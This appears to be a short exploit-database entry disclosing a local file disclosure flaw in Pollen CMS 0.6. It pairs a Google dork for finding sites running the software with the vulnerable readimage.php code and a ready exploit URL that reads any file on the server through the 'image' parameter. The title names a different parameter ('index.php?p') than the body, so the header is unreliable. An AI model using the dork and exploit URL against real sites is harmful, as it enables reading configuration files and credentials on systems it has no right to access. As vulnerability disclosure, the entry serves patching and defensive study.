Pollen CMS 0.6 - 'index.php?p' Paramete' Local File Disclosure

# Title: Pollen CMS <= 0.6 - Local File Disclosure
# Google Dork: intext:"Powered by Pollen CMS"
# Date: 25 Mars 2013
# Exploit Author: MizoZ
# Vendor Homepage: pollencms.com (BROKEN)
# Software Link: https://code.google.com/p/pollencms/
# Version: 0.6
# Tested on: Ubuntu Desktop 12.04

-- File "[path]/core/lib/readimage.php"

02 - $image=urldecode($_GET["image"]);
03 - if(is_file($image)){
04 - header("Pragma: no-cache");
05 - header("Expires: 0");
06 - header("Last-Modified: " . gmdate("D, d M Y H:i:s") . " GMT");
07 - header("Cache-Control: no-cache, must-revalidate");
08 - header("Content-type: image/jpg");
09 - readfile($image);
10 - }else{
11 - header("HTTP/1.0 404 Not Found");
12 - }


-- Problem

   The script only verifies the existence of the given file.


-- Exploit
http://<server>/<path>/core/lib/readimage.php?image=[php urlencoded path to file]